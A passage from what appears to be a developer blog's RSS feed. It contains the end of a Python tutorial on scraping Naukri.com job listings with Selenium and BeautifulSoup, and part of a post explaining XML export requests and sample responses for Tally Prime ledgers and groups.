res = requests.get(nurl)

<span class="hljs-comment"># Use Selenium to open the page and load the content</span>
driver = webdriver.Chrome()  <span class="hljs-comment"># Ensure you have the correct path to the ChromeDriver</span>
driver.get(nurl)
time.sleep(<span class="hljs-number">3</span>)  <span class="hljs-comment"># Wait for the page to fully load</span>

<span class="hljs-comment"># Parse the page content using BeautifulSoup</span>
soup = BeautifulSoup(driver.page_source, <span class="hljs-string">"html5lib"</span>)
driver.close()  <span class="hljs-comment"># Close the browser after extracting the data</span>

<span class="hljs-comment"># Initialize a list to store the job data</span>
nokari = []

<span class="hljs-comment"># Find all the job listings on the page</span>
comment_box = soup.find_all(<span class="hljs-string">"div"</span>, {<span class="hljs-string">"class"</span>: <span class="hljs-string">"cust-job-tuple layout-wrapper lay-2 sjw__tuple"</span>})

<span class="hljs-comment"># Loop through each job listing and extract information</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> comment_box:
    nokari_info = {}
    nokari_info[<span class="hljs-string">"title"</span>] = i.div.a.text  <span class="hljs-comment"># Extract the job title</span>

    <span class="hljs-comment"># Extract the company name</span>
    comName = i.find_all(<span class="hljs-string">"a"</span>, {<span class="hljs-string">"class"</span>: <span class="hljs-string">"comp-name mw-25"</span>})
    <span class="hljs-keyword">if</span> comName:
        nokari_info[<span class="hljs-string">"com_name"</span>] = comName[<span class="hljs-number">0</span>].text

    <span class="hljs-comment"># Extract the job description</span>
    nokari_info[<span class="hljs-string">"des"</span>] = i.find_all(<span class="hljs-string">"span"</span>, {<span class="hljs-string">"class"</span>: <span class="hljs-string">"job-desc ni-job-tuple-icon ni-job-tuple-icon-srp-description"</span>})[<span class="hljs-number">0</span>].text

    <span class="hljs-comment"># Append the extracted data to the nokari list</span>
    nokari.append(nokari_info)

<span class="hljs-comment"># Print the extracted job details</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> nokari:
    print(i)
</code></pre>
<h2 id="heading-what-does-this-code-do">What Does This Code Do?</h2>
<ol>
<li><p><strong>Fetching the Webpage</strong>: We use Selenium to load the webpage containing job listings. <code>Selenium</code> controls a web browser, allowing us to load dynamic content generated by JavaScript.</p>
</li>
<li><p><strong>Parsing the HTML</strong>: After allowing the page to load completely (using <code>time.sleep</code>), we extract the page source and pass it to <code>BeautifulSoup</code> for parsing.</p>
</li>
<li><p><strong>Extracting the Job Data</strong>: We locate the job listings using specific HTML tags and extract the job title, company name, and description.</p>
</li>
<li><p><strong>Storing and Printing Data</strong>: The extracted data is stored in a list of dictionaries and printed out.</p>
</li>
</ol>
<h2 id="heading-why-selenium">Why Selenium?</h2>
<p>Naukri.com uses JavaScript to load job data dynamically. This means the data doesn’t exist in the HTML initially fetched by <code>requests</code>. Selenium enables us to open the page, wait for the JavaScript to load the content, and then extract the fully rendered HTML.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Python's versatility and robust library ecosystem make it ideal for web scraping, whether you're extracting data from static HTML or JavaScript-heavy, dynamically loaded websites. With tools like <code>Selenium</code> and <code>BeautifulSoup</code>, Python enables efficient data collection and parsing, allowing you to navigate complex web pages and extract structured information. However, it's crucial to scrape responsibly, adhering to website terms of service, ethical guidelines, and data privacy regulations.</p>
<hr />
<h3 id="heading-need-custom-development-get-expert-help"><strong>Need Custom Development? Get Expert Help!</strong> 🚀</h3>
<p>Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's <strong>custom software, backend architecture, API integrations, or performance tuning</strong>, we have you covered.</p>
<p>👉 <strong>Let’s build something amazing together!</strong> <a target="_blank" href="https://ghanshyamdigital.com/contact/">Get in touch</a></p>
]]></content:encoded></item><item><title><![CDATA[How to Use XML Requests for Exporting Data from Tally Prime]]></title><description><![CDATA[Export Ledger from Tally Prime
Xml Request:
<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <TALLYREQUEST>EXPORT</TALLYREQUEST>
        <TYPE>COLLECTION</TYPE>
        <ID>List of Ledgers</ID>
    </HEADER>
    <BODY>
        <DESC>
    ...]]></description><link>https://blog.ghanshyamdigital.com/how-to-use-xml-requests-for-exporting-data-from-tally-prime</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/how-to-use-xml-requests-for-exporting-data-from-tally-prime</guid><category><![CDATA[Tally Prime ]]></category><category><![CDATA[xml]]></category><category><![CDATA[Export Import Data]]></category><dc:creator><![CDATA[Bhavisha Amipara]]></dc:creator><pubDate>Mon, 03 Feb 2025 05:30:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1724488917334/d6d7ef39-fc74-454e-9e5d-8738e70534f9.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-export-ledger-from-tally-prime">Export Ledger from Tally Prime</h2>
<p><strong>Xml Request:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TALLYREQUEST</span>&gt;</span>EXPORT<span class="hljs-tag">&lt;/<span class="hljs-name">TALLYREQUEST</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TYPE</span>&gt;</span>COLLECTION<span class="hljs-tag">&lt;/<span class="hljs-name">TYPE</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">ID</span>&gt;</span>List of Ledgers<span class="hljs-tag">&lt;/<span class="hljs-name">ID</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>$$SysName:XML<span class="hljs-tag">&lt;/<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p>This XML request is designed to export a specific collection of data from Tally. By setting the <code>TALLYREQUEST</code> to <code>"EXPORT"</code>, we are instructing Tally to generate an export file. The <code>TYPE</code> being <code>"COLLECTION"</code> further specifies that the export will involve a group of related data entries, and the <code>ID</code> <code>"List of Ledgers"</code> identifies that the specific data to be exported is the list of ledgers maintained within the Tally system. The request, as constructed, is tailored to retrieve the ledgers in XML format, as indicated by the <code>&lt;SVEXPORTFORMAT&gt;</code> tag within the <code>&lt;STATICVARIABLES&gt;</code> section of the <code>&lt;BODY&gt;</code>.</p>
<p><strong>XML Response :</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">STATUS</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">STATUS</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">CMPINFO</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COMPANY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COMPANY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LEDGER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">LEDGER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COSTCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COSTCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COSTCENTRE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COSTCENTRE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GODOWN</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GODOWN</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKGROUP</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKGROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKITEM</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKITEM</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">CURRENCY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">CURRENCY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">UNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">UNIT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">BUDGET</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">BUDGET</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">CLIENTRULE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">CLIENTRULE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SERVERRULE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">SERVERRULE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STATE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TDSRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TDSRATE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TAXCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TAXCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">DEDUCTEETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">DEDUCTEETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">ATTENDANCETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">ATTENDANCETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">FBTCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">FBTCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">FBTASSESSEETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">FBTASSESSEETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TARIFFCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TARIFFCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">EXCISEDUTYCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">EXCISEDUTYCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SERIALNUMBER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">SERIALNUMBER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">ADJUSTMENTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">ADJUSTMENTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">INCOMETAXSLAB</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">INCOMETAXSLAB</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">INCOMETAXCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">INCOMETAXCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LBTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">LBTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TAXUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TAXUNIT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">RETURNMASTER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">RETURNMASTER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GSTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERNUMBERSERIES</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERNUMBERSERIES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHER</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">CMPINFO</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DATA</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">COLLECTION</span> <span class="hljs-attr">ISMSTDEPTYPE</span>=<span class="hljs-string">"Yes"</span> <span class="hljs-attr">MSTDEPTYPE</span>=<span class="hljs-string">"8"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LEDGER</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Cash"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">""</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Cash<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">LEDGER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LEDGER</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Profit <span class="hljs-symbol">&amp;amp;</span> Loss A/c"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Profit <span class="hljs-symbol">&amp;amp;</span> Loss A/c"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Profit <span class="hljs-symbol">&amp;amp;</span> Loss A/c<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">LEDGER</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">COLLECTION</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DATA</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p><strong>HEADER</strong>: Contains metadata about the request/response, such as the version (<code>VERSION</code>) and status (<code>STATUS</code>), which is <code>1</code> indicating success.</p>
<p><strong>BODY</strong>:</p>
<p><strong>DESC</strong>: Describes the request. The <code>&lt;CMPINFO&gt;</code> section specifies which data components are involved, with <code>0</code> indicating that no specific data is requested for those fields.</p>
<p><strong>DATA</strong>: Contains the actual data returned by Tally. Here, it shows a collection of ledgers:</p>
<p><strong>LEDGER</strong>:</p>
<p><code>"Cash"</code>: A ledger named "Cash" with no reserved name.</p>
<ul>
<li><code>"Profit &amp; Loss A/c"</code>: A ledger named "Profit &amp; Loss A/c" with a reserved name indicating it is a system ledger.</li>
</ul>
<h2 id="heading-export-group-from-tally-prime"><strong>Export group from Tally Prime</strong></h2>
<p><strong>XML Request:</strong></p>
<pre><code class="lang-xml">'<span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TALLYREQUEST</span>&gt;</span>EXPORT<span class="hljs-tag">&lt;/<span class="hljs-name">TALLYREQUEST</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TYPE</span>&gt;</span>Collection<span class="hljs-tag">&lt;/<span class="hljs-name">TYPE</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">ID</span>&gt;</span>Group<span class="hljs-tag">&lt;/<span class="hljs-name">ID</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>$$SysName:XML<span class="hljs-tag">&lt;/<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GroupType</span>&gt;</span>Primary<span class="hljs-tag">&lt;/<span class="hljs-name">GroupType</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p>This XML request is crafted to export a list of primary groups from Tally. The <code>TALLYREQUEST</code> is set to <code>"EXPORT"</code>, indicating that the operation will generate an export file. The <code>TYPE</code> of the request is <code>"Collection"</code>, meaning that the export will focus on a collection of related data, specifically groups in this case.</p>
<p>The <code>ID</code> is set to <code>"Group"</code>, directing Tally to retrieve and export group-related data. The additional parameter <code>&lt;GroupType&gt;</code> set to <code>"Primary"</code> ensures that only primary groups are included in the export.</p>
<p><strong>XML Response:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">STATUS</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">STATUS</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">CMPINFO</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COMPANY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COMPANY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LEDGER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">LEDGER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COSTCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COSTCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COSTCENTRE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COSTCENTRE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GODOWN</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GODOWN</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKGROUP</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKGROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKITEM</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKITEM</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">CURRENCY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">CURRENCY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">UNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">UNIT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">BUDGET</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">BUDGET</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">CLIENTRULE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">CLIENTRULE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SERVERRULE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">SERVERRULE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STATE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TDSRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TDSRATE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TAXCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TAXCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">DEDUCTEETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">DEDUCTEETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">ATTENDANCETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">ATTENDANCETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">FBTCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">FBTCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">FBTASSESSEETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">FBTASSESSEETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TARIFFCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TARIFFCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">EXCISEDUTYCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">EXCISEDUTYCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SERIALNUMBER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">SERIALNUMBER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">ADJUSTMENTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">ADJUSTMENTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">INCOMETAXSLAB</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">INCOMETAXSLAB</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">INCOMETAXCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">INCOMETAXCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LBTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">LBTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TAXUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TAXUNIT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">RETURNMASTER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">RETURNMASTER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GSTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERNUMBERSERIES</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERNUMBERSERIES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHER</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">CMPINFO</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DATA</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">COLLECTION</span> <span class="hljs-attr">ISMSTDEPTYPE</span>=<span class="hljs-string">"Yes"</span> <span class="hljs-attr">MSTDEPTYPE</span>=<span class="hljs-string">"4"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Bank Accounts"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Bank Accounts"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
